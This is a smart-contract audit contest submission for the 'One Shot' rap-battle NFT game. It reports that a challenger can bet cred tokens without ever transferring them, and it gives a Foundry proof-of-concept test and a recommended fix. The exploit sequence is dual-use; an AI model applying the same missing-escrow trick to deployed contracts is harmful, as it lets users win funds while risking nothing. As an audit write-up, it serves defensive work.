First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The `challenger` can create two addresses stake to update his stats in `Streets.sol` with one address then transfer the cred tokens to another address and bet with no money.

web3tycoon

Summary

A challenger can create two address staking a nft with one address to increase challengerRapperSkill and Transferring the tokens to the second address once he unstake, and since the challenger does not need to transfer his tokens to RapBattle contract. he just then can call goOnStageOrBattle(uint256 _tokenId, uint256 _credBet), On winning he can receive the tokens from _defender and on losing the _defender will receive 0 creds.

Vulnerability Details

Place this code code in your OneShotTest.t.sol, to see the sequence.

function testIfchallengerHasUpdatedStatsAndHasNoMoney() public {
// create defender and stake
vm.startPrank(user);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
// create challenger and stake
vm.startPrank(challenger);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
// stake for four days
vm.warp(4 days + 1);
vm.startPrank(user);
streets.unstake(0);
vm.stopPrank();
vm.startPrank(challenger);
streets.unstake(1);
vm.stopPrank();
// go on stage with user is defender
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 4);
rapBattle.goOnStageOrBattle(0, 4);
vm.stopPrank();
// challenger goes on stage
vm.startPrank(challenger);
cred.approve(address(challenger), 4);
// Transfer Tokens to another address to avoid loss
cred.transfer(challenger1, 4);
rapBattle.goOnStageOrBattle(1, 4);
cred.approve(address(challenger1), 4);
// on winning he receives free tokens and losing the defender receives 0 tokens
uint256 balance = cred.balanceOf(challenger) + cred.balanceOf(challenger1);
console.log("Total Balance is:", balance);
vm.stopPrank();
}

Impact

The defender will gain nothing for the RapBattle contract is not handling the scenario by first transfering the tokens from the user.

Recommendations

Transfer the tokens from msg.sender which is the challenger to the contract RapBattle so as it can be efficient.

Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!